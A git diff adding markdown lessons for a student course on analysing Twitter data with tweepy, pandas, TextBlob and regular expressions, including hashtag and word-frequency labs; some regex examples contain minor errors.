+Let's start by setting up the Twitter API. Firstly, let's setup a function inside our `TwitterClient` class that will return the API. Remeber, we are not adding object oriented features to make our life harder, these abstractions or high-level calls and methods will make our code readable and easy to extend or add on to, especiallt when we start with bigger and more complex data sets. This will help us understand what we are doing more clearly later on. We do so as follows:
+
+```python
+def get_twitter_client_api(self):
+ return self.twitter_client
+```
+
+This function will return the Twitter client object associated with an instance of a TwitterClient class. Remember that a TwitterClient object allows for access to the user timeline, friend list, etc, as described in the last activity (Cursor and Pagination).
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/5.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/5.md
new file mode 100644
index 00000000..bad5edfb
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/5.md
@@ -0,0 +1,26 @@
+# Setting up main
+
+Next, let's **erase** everything under `if __name__ == 'main'`. Please do that before proceeding.
+
+We'll create an instance of a TwitterClient class, which we'll use to analyze the tweet data of the user we'll be specifying:
+
+```python
+ twitter_client = TwitterClient()
+```
+
+
+Now let's get the API through the function we just created and store it inside a variable for analyzing in the future. With this object we will be able to access the other and fundamental parts of our class (i.e methods that actually modify and manipulate our tweets).
+
+```python
+ api = twitter_client.get_twitter_client_api()
+```
+
+To get tweets from any user, we can use our `api` object. We have learned how to obtain a user's timeline tweets in past activities, and we use the same strategy here:
+
+```python
+ tweets = api.user_timeline(screen_name="Oprah", count=10)
+```
+
+The `tweets` variable will contain 10 tweets from Oprah Winfrey.
+
+If you run your code now, you should see the 10 most recent tweets from Oprah.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/6.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/6.md
new file mode 100644
index 00000000..68bff672
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/6.md
@@ -0,0 +1,36 @@
+
+
+
+
+# Analyzing Tweets
+
+Right now, your tweet output most likely looks really ugly in your terminal. We'll create a DataFrame that allows us to organize all of this data.
+
+We'll start by creating a class that we'll be using to analyze our tweets later. Let's call this class `TweetAnalyzer`. Now let's create a function `tweets_to_data_frame` that will take the JSON data we have and convert it into a data frame categorized by the text for our future use.
+
+Here, the Pandas library has an inbuilt function `DataFrame()` that does the conversion of our tweet data into a DataFrame.
+
+We feed in the data by iterating through our `tweets` object and feeding in the `tweet.text`.
+
+The expression `[tweet.text for tweet in tweets]` is what is known as a **list comprehension**. It iterates through all of the tweets in-place, and for every `tweet`, its text is appended to the list. The `data` attribute of our DataFrame, therefore, is a list of just the text associated with each tweet. Remember that `tweets` is a JSON object, and we can use the `.` operator to get the text in each tweet.
+
+```python
+class TweetAnalyzer():
+ def tweets_to_data_frame(self, tweets):
+ df = pd.DataFrame(data=[tweet.text for tweet in tweets], columns=['Tweets'])
+ return df
+```
+
+Now to take advantage of this newly created class, we are going to create a object of this class inside our **main** routine and call the function on tweets.
+
+```python
+tweet_analyzer = TweetAnalyzer()
+df = tweet_analyzer.tweets_to_data_frame(tweets)
+```
+
+ Now let's print the first 10 `tweets` in our Data Frame by `print(df.head(10))`.
+
+
+
+Now what we can do is we can go ahead and create a data frame which is going to store that content and just going to allow us to neatly organize that and also to process it for further data analysis later so we're going to make use of the Numpy and Pandas modules that we imported.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/7.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/7.md
new file mode 100644
index 00000000..13133692
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/7.md
@@ -0,0 +1,30 @@
+# Analyzing the tweets
+
+Finally the most exciting part...analyzing the tweets! We already have the text field set up so now let's add columns for other fields such as the id, likes, retweets, etc. We do so by using the numpy arrays and adding one column at a time. The data fed into this is similar to what we did before.
+
+The following line will go through the tweets we send in and gives us the tweet id(think of it as a unique id number given to each tweet). We then make a id column in our data frame and add the respective data to each tweet in said table/data frame.
+
+```python
+df['id'] = np.array([tweet.id for tweet in tweets])
+```
+
+The following line will go through the tweets we send in and gives us the **textual length of each tweet**. We then make a length column in our data frame and add the respective data to each tweet in said table/data frame.
+
+```python
+df['len'] = np.array([len(tweet.text) for tweet in tweets])
+```
+
+We can do the same for the date a tweet was created, the type of device it came from, the number of likes, and the number of retweets.
+
+```python
+df['date'] = np.array([tweet.created_at for tweet in tweets])
+df['source'] = np.array([tweet.source for tweet in tweets])
+df['likes'] = np.array([tweet.favorite_count for tweet in tweets])
+df['retweets'] = np.array([tweet.retweet_count for tweet in tweets])
+```
+
+So what we have now is(by using `print(df.head(10))` to get the first 10 items in our Data Frame),
+
+
+
+Now you are thinking with Pandas 🐼!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/1.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/1.md
new file mode 100644
index 00000000..19bb6c8a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/1.md
@@ -0,0 +1,16 @@
+# Introduction
+
+For this lab we will utilize the skills you've gained working with APIs to visualize tweets using **tweepy**.
+
+The idea is simple, given a topic, all hashtags with greater than 5% frequency pertaining to that topic are plotted in a pie graph. All hashtags with less than 5% frequency fall under an "Other" category.
+
+Hashtags provide an efficient way of deducing how tweeters feel about the topic they are tweeting about, since Twitter users use hashtags to summarize their tweets, often with more emotion. Therefore hashtags provide a sufficient summary of the tweet - there is a lesser need to process every character and word of a tweet if the hashtags are available.
+
+By seeing the most common hashtags associated with a topic, we can evaluate what Twitter users are discussing under the scope of a greater topic and how people feel about the topic at hand. It's easy to get caught in our own echo chambers on social media, and analyzing the most common hashtags across *all* tweets for a certain topic helps us analyze the feelings behind a topic in a more objective manner.
+
+Here is an example of what we will be aiming to accomplish at the end of this lab:
+
+
+
+Just like in previous labs, set up your authentication keys and tokens in Python.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/2.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/2.md
new file mode 100644
index 00000000..fd2f4654
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/2.md
@@ -0,0 +1,9 @@
+# Finding Tweets
+
+Now that we've authenticated we're ready to search for tweets. Pick a hashtag that you would like to search tweets for, like #climatechange. Put together a **list** of the text of the 100 most recent tweets pertaining to that hashtag.
+
+
+
+Afterwards, process that list to make a **dictionary** of all of the hashtags in those 100 tweets. The dictionary should have hashtags as keys and tweet amounts as values.
+
+*Hint:* Given a tweet taken from `tweepy`, the `entities` attribute contains all of the hashtags that pertain to a tweet. No need to process them on your own!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/3.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/3.md
new file mode 100644
index 00000000..cadbd870
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/3.md
@@ -0,0 +1,7 @@
+# Cleaning Tweets
+
+If you try printing out your list of tweets, there are most likely links within the text of many tweets. While links are important for the text content, when parsing through tweets, links don't contribute to word count and make the runtime of our Python code much longer.
+
+Therefore, we will use **regular expressions** to accomplish the data cleaning. Throughout the previous labs you have gone through you may by now know that cleaning data is the longest portion of analysis projects.
+
+Please code a function `remove_url(txt)` that removes all URLs from a text string. Adding on to your code in the last part, then use that function to remove all URLs from every tweet's text **before processing hashtags**.
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/4.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/4.md
new file mode 100644
index 00000000..9d00549a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/4.md
@@ -0,0 +1,6 @@
+# Calculating Hashtag Frequency
+
+With this part, we will now begin setting up the frequency data for our pie chart.
+
+For this part, put together a **dictionary** that contains the hashtags as keys and the frequency percentage as values. **Remember that all hashtags with less than 5% frequency should go in the "Other" category.**
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/5.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/5.md
new file mode 100644
index 00000000..249aeba0
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Hashtag-Frequency/5.md
@@ -0,0 +1,3 @@
+# Plotting Hashtag Frequency
+
+With our data ready in our dictionary, plot a pie chart of the hashtags. An equal aspect ratio is recommended.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/1.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/1.md
new file mode 100644
index 00000000..da22bd1c
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/1.md
@@ -0,0 +1,19 @@
+# Introduction
+
+For this lab we will utilize the skills you've gained working with APIs to visualize tweets using **tweepy**.
+
+The idea is simple, given a hashtag, the top 15 words pertaining to that tweet are displayed and plotted.
+
+Here are some examples of what we will be aiming to accomplish at the end of this Lab:
+
+
+
+Just like in previous labs, set up your authentication keys and tokens in Python. For styling, please make sure to include the following code at the beginning of your main function:
+
+```python
+ warnings.filterwarnings("ignore")
+
+ sns.set(font_scale=1.5)
+ sns.set_style("whitegrid")
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/2.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/2.md
new file mode 100644
index 00000000..d2f4c3ad
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/2.md
@@ -0,0 +1,5 @@
+# Finding Tweets
+
+Now that we've authenticated we're ready to search for tweets. Pick a hashtag that you would like to search tweets for, like #climatechange. Then put together a **list** of the text of the 100 most recent tweets pertaining to that hashtag.
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/3.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/3.md
new file mode 100644
index 00000000..42d300f8
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/3.md
@@ -0,0 +1,9 @@
+# Cleaning Tweets
+
+If you try printing out your list of tweets, there are most likely links within the text of many tweets. While links are important for the text content, when parsing through tweets, links don't contribute to word count and make the runtime of our Python code much longer.
+
+Therefore, we will use **regular expressions** to accomplish the data cleaning. Throughout the previous labs you have gone through you may by now know that cleaning data is the longest portion of analysis projects.
+
+Please code a function `remove_url(txt)` that removes all URLs from a text string. Then use that function to remove all URLs from every tweet's text.
+
+Print your list of tweets before and after removal to ensure you did remove the URLs.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/4.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/4.md
new file mode 100644
index 00000000..9cfa15d6
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/4.md
@@ -0,0 +1,19 @@
+# Counting Word Frequency
+
+Now we are going to put the 15 **most common words** pertaining to that hashtag into a DataFrame, which we will graph later.
+
+Your DataFrame must have the following characteristics:
+
+* Has two columns 'words' and 'count'
+* all words must be converted to lowercase
+* Only **individual** words
+
+Hint #1: the Python module `collections` has a `Counter` object you can use to automatically count words.
+
+Hint #2: the line `list(itertools.chain(*list_name))` will combine lists within a list. For example:
+
+```python
+test_list = [['a', 'b'], ['c', 'd']]
+list(itertools.chain(*test_list)) # will yield a list of ['a', 'b', 'c', 'd']
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/5.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/5.md
new file mode 100644
index 00000000..dc383860
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/5.md
@@ -0,0 +1,7 @@
+# Plotting Word Frequency
+
+Now that we have cleaned and processed the data (seemingly) we can plot it to show our findings!
+
+Plot the 15 most common words found in your tweets as a horizontal bar graph. This is what your graph should look like by the end:
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/images/graph.png b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/images/graph.png
new file mode 100644
index 00000000..328e7440
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Lab-Twitter-Word-Frequency/images/graph.png differ
diff --git a/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/.gitkeep b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/.gitkeep
similarity index 100%
rename from Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/.gitkeep
rename to Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/.gitkeep
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/1.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/1.md
new file mode 100644
index 00000000..9331c31e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/1.md
@@ -0,0 +1,48 @@
+
+
+# Intro to Pandas
+
+Before we jump into the main section of this week, let explain some of the core concepts of Pandas.
+
+
+
+Pandas is the bread and butter of all data scientists in this day and age. This Python package let's us *easily* maniupulate tabular data. The term "pandas" is short for "**PAN**el **DA**ta," an economics term. Pandas also has really good documentation! https://pandas.pydata.org/pandas-docs/stable/
+
+
+
+## Series
+
+As mentioned above, Pandas let's us manipulate tabluar data. Tables consist of rows and columns. Essentially, our columns are made up of individual **Pandas Series**. We'll get back to data frames later.
+
+A Pandas Series is a one-dimensional array that can hold data of any type! This include integers, strings, objects, you name it! Let's look at these examples:
+
+```python
+import pandas as pd
+bball_teams = pd.Series(['Warriors', 'Lakers', "Raptors"])
+numbers = pd.Series([100,1.4,-7])
+```
+
+Notice how each of the series are *essentially lists*, and I used strings in the first and integers in the second!
+
+### Indexing
+
+One functionality of Series is that it can be used like an **ordered dictionary**! By default, the index of each element is its order in the series (starting from 0). However, you can assign a new index to each element of the series. Let's check out this example:
+
+```python
+presidents = pd.Series(['Trump','Obama','Bush Jr.'])
+presidents
+presidents[0]
+```
+
+As we can see, `presidents` are indexed in the order they are in the list, starting from zero. Also, you can call the element from the series by using their index and a [ ]. Here `presidents[0]` outputted `'Trump'` since he is the 0th element of the list.
+
+What if we wanted to index them by the number president they currently are?
+
+```python
+presidents = pd.Series(['Trump','Obama','Bush Jr.'], index = [45,44,43])
+presidents
+```
+
+Now the Series `presidents` is indexed by the number president they are!
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/10.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/10.md
new file mode 100644
index 00000000..2d42f284
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/10.md
@@ -0,0 +1,32 @@
+## Using TextBlob
+
+The first task we have to perform is installing a python module called *TextBlob*. People use TextBlob to analyze text in a multitude of ways (translation, noun extraction, etc.).1 Think of it was a sensor that understands the human speech which just happens to reside in a python module!
+
+
+
+Which is done by the following command:
+
+```python
+pip install textblob
+```
+
+After installing it, we will now need to import this module into our program. This can be done with:
+
+```python
+from textblob import TextBlob
+```
+
+It'd be incredibly difficult to develop our own application to analyze the sentiment/context of each tweet. We would have to give it a ton of input to get it used to human writing patterns and write lots of icky, mathematical code! Text Blob does all of that for you out-of-the-box and gives you an API (a method to easily interface with it)!
+
+
+
+
+
+
+
+***
+
+*Sources / Further Reading Section*
+
+1) https://textblob.readthedocs.io/en/dev/
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/11.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/11.md
new file mode 100644
index 00000000..8da82ee7
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/11.md
@@ -0,0 +1,19 @@
+## Introduction To Regular Expressions
+
+
+
+Another module that we would find useful is `re`. This stands for regular expression and we will be using it to "clean" our tweets. Using `re`, we will remove special characters, hyperlinks, and other unnecessary data that doesn't help with Sentiment Analysis.
+
+Import `re` like so:
+
+```python
+import re
+```
+
+ But what *exactly* are Regular Expressions? Think of them as a bunch of guards protecting a castle!
+
+> You give the guards a rule (e.g only allow people with red coats to enter) and they let people you abide the the rule in and the people who don't out!
+
+Lets expand it now is programming sense...
+
+> You write down a bunch of rules that specific what type/configuration of string(e.g string with all the letters i's) you want. But what do want? You can either extract portions out and store them or check if a specific rule/specification is followed by a given string or not.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/12.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/12.md
new file mode 100644
index 00000000..dd4145e9
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/12.md
@@ -0,0 +1,24 @@
+## Regular Expressions [Anchors]
+
+
+
+> Sometimes you need to find/check/extract/substitute something at the start or end of a string. Anchors come in handy in such cases!
+
+Lets start out with the basics:
+
+* We start our Regular Expressions by opening up a `/` and writing all the rules between that and a `/`.
+ * Something like: `/RULES/`
+
+* `^` and `$` are called anchors and matches(or finds/extracts) a specified string or character within a larger string at the start or just the end,respectively.
+ * So when we write` \^wow,\` the following string gets accepted : "wow, you are learning a lot!".
+ * When we write `\$bye!\` the following gets accepted: "nice work, bye!"
+ * Now let's combine them: `\^Eat $vegetables\` --> accepts --> "Eat more vegetables".
+
+
+
+***
+
+*Sources / Further Reading Section*
+
+* https://regexr.com/
+* https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/13.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/13.md
new file mode 100644
index 00000000..e9bbed8a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/13.md
@@ -0,0 +1,33 @@
+## Regular Expressions [Quantifiers]
+
+
+
+> With any set of rules specifying a language, you need rules that take care of strings or information that come in a variable size or length. You need loops or **Quantifiers** telling how big something(in this case for strings)!
+
+Let's get into it:
+
+* `*` specifies a string or character that repeats zero or more times in a bigger string.
+ * For example, `/hi*/` --> accepts --> h,hi, hiiii, hiiiiiiiiiiiiiiiiiiiiiiiiii, hiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii and beyond.
+
+* `+` specifies a string or character that repeats one or more times in a bigger string.
+ * For example, `/hi+/` --> accepts --> hi, hiiii, hiiiiiiiiiiiiiiiiiiiiiiiiii, hiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii, and beyond .(notice h doesn't show up here).
+
+* `?` specifies a string or character that repeats one or zero times in a bigger string.
+ * For example, `/hi?/` --> accepts --> hi or h.
+
+* `{#}` specifies a string or character that repeats # times in a bigger string.
+ * For example, `/hi{3}/` --> accepts --> hiii.
+* Adding a comma accepts strings with a character or string that is greater than equal to the specified length. So something like `/hi{3,}/` accepts hiii,hiiiii, and above.
+ * Adding a comma and number gives a range. For example, `/hi{3,5}/` accepts hiii,hiiii,hiiiii.
+
+* Finally adding a pair of parenthesis specifics a group of characters. Meaning you can now accept string with repeated *sequence* of characters.
+ * For example, `/he(llo)*/` --> accepts --> he,hello,hellollollollollollo and beyond.
+* Similarly, you can use all the above mentioned specifiers on these sequences too!
+
+
+***
+
+*Sources / Further Reading Section*
+
+* https://regexr.com/
+* https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/14.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/14.md
new file mode 100644
index 00000000..eef2cc89
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/14.md
@@ -0,0 +1,25 @@
+## Regular Expressions [OR operator]
+
+
+
+> Sometimes you're not sure what exactly your input string is going to look like, but you know what the possible characters are for your string...OR operator to the rescue!
+
+Here we go again:
+
+* Say we have two strings "I want an apple!" and "I want and orange!". We want to accept both but they are pretty different! However, notice that only "apple" and "orange" change in both strings. Here we can see there is an option for either "apple" **or** "orange".
+ * So let's make a rule for it!: `/I want an (apple|orange)!/`
+ * Think of `|` as the word 'or' and now things are making sense!
+ * You can also use more than two options: `/Hi (Kevin | Patrick | Sandy), I am your biggest fan!/` --> accepts --> "I am your Kevin biggest fan!" , "I am your Patrick biggest fan!" , and "I am your Sandy biggest fan!"
+ * You can also make character options: `/The answer is (a|b|c)./` --> accepts --> "The answer is a." , "The answer is b.", and "The answer is c."
+
+
+
+
+
+***
+
+*Sources / Further Reading Section*
+
+* https://regex101.com/r/cO8lqs/3
+
+* https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/15.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/15.md
new file mode 100644
index 00000000..3f043c60
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/15.md
@@ -0,0 +1,29 @@
+## Regular Expressions [Character Classes]
+
+
+
+> Hold on! What if I want accept different types of characters but I want to be very general and accept entire "classes" of "characters"... I think you answered your own question ;)
+
+Together now:
+
+* `\d` accepts or matches a single numerical character or digit in your string.
+ * Its negation or opposite is `\D`. This accepts all non-digit characters.
+ * For example `/\d player/` --> accepts --> "1 player","2 player", and beyond.
+* `\w` accepts or matches a single "word" or alphanumerical character(including the underscore "_").
+ * Its negation or opposite is `\W`. This accepts all non-word characters.
+ * For example `/player \w/` --> accepts --> "player a","player _", and beyond.
+* `\s` accepts or matches a single whitespace character (like tabs(`\t`),new lines(`\n`), carriage return(`\r`) and spaces).
+ * Its negation or opposite is `\S`. This accepts all non-whitespace characters.
+ * For example `/\s player/` --> accepts --> "\t player"," player", and beyond.
+* `.` matches all characters!
+ * For example `/\d player/` --> accepts --> "1 player","m player", and beyond.
+* Special escape characters like `$` and `^` need to have a backslash(`\`) to be recognized by Regular Expression rules.
+ * For example `/\^ player/` --> accepts --> "^ player".
+
+
+
+***
+
+*Sources / Further Reading Section*
+
+* https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/16.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/16.md
new file mode 100644
index 00000000..d82b09ce
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/16.md
@@ -0,0 +1,23 @@
+## Regular Expressions [Flags]
+
+
+
+> Now we need some way to tell our Regular Expression rules to change the way how it looks at our rules and input. Here we use flags.
+
+Into the abyss we go:
+
+* Adding a `g` at the end of our Regular Expression will tell it to look and match things in the **entire** string not just the first instance of each.
+ * e.g `/some rule goes here/g`
+
+* Adding a `m` at the end of our Regular Expression will tell it to look at our rules and assume that our anchors(`^` and ` $`) get restarted after the end of each line(which is signified by a `\n`).
+ * e.g `/some rule goes here/m`
+
+* Adding a `i` at the end of our Regular Expression will tell it to look at our rules and assume everything is case-insensitive (a is treated as A and vice versa)
+
+* e.g `/some rule goes here/i`
+
+***
+
+*Sources / Further Reading Section*
+
+* https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/17.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/17.md
new file mode 100644
index 00000000..3153621f
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/17.md
@@ -0,0 +1,25 @@
+## Regular Expressions [Grouping and Capture]
+
+
+
+> We use capture group (...) to help us extract information and to use regular expressions on groups of string or other rules.
+
+Almost there now:
+
+* Just using something like `cool(cat)` will allow us to access multiple matches like an array and use rules on the entire `cat` portion of the string.
+
+ * In python (with the module `re`), we could use the `.group` method and access the groups we have matched.
+ * For example a line like `reg_expression_matching.group(1)` would gives "wow" if had a string like "wow cool" and a regular expression like `\(.)* cool\ `. This is because that `(.)` was the first capture group(hence the `.group(1)`)!
+
+* The ` ?:` disables the array access feature: `/cool(?:cat)/`.
+ * The `?<...>` gives a capture group a name(something useful for our array-like access: `/?cool(cat)/`
+
+
+
+
+***
+
+*Sources / Further Reading Section*
+
+* https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285
+* https://www.tutorialspoint.com/python/python_reg_expressions.htm
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/18.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/18.md
new file mode 100644
index 00000000..b17adc5e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/18.md
@@ -0,0 +1,19 @@
+## Regular Expressions [Bracket Expressions]
+
+
+
+> The final piece to our basic Regular Expression puzzle: Bracket Expression. Now we can match or accept entire groups of letters or symbols. Imagine it is like an extended 'or' operator.
+
+The final countdown:
+
+* Something like `/[A-D]/` captures all characters(upper case if no flag is specified) from A to D. So a string like "BAD" gets accepted.
+* A more complex example would be `/[A-Da-f1-9]/`which captures characters A to D, a to f and 1 to 9. So a string like "1Ab9" gets accepted.
+* Finally, you should note that all characters and escape characters lose their special meaning so there is no need to add `\` next to escape characters any more. Something like `\[!?]\` would work just fine and would accept ""!!??".
+
+
+
+***
+
+*Sources / Further Reading Section*
+
+* https://medium.com/factory-mind/regex-tutorial-a-simple-cheatsheet-by-examples-649dc1c3f285
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/19.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/19.md
new file mode 100644
index 00000000..748ce74d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity1_Sentiment Analysis with Twitter API/19.md
@@ -0,0 +1,50 @@
+## Regular Expressions [Summary]
+
+Before we jump right in (and I know your excited to do so), lets test our knowledge.
+
+Here is an upcoming example of Regular Expressions you will see:
+
+```
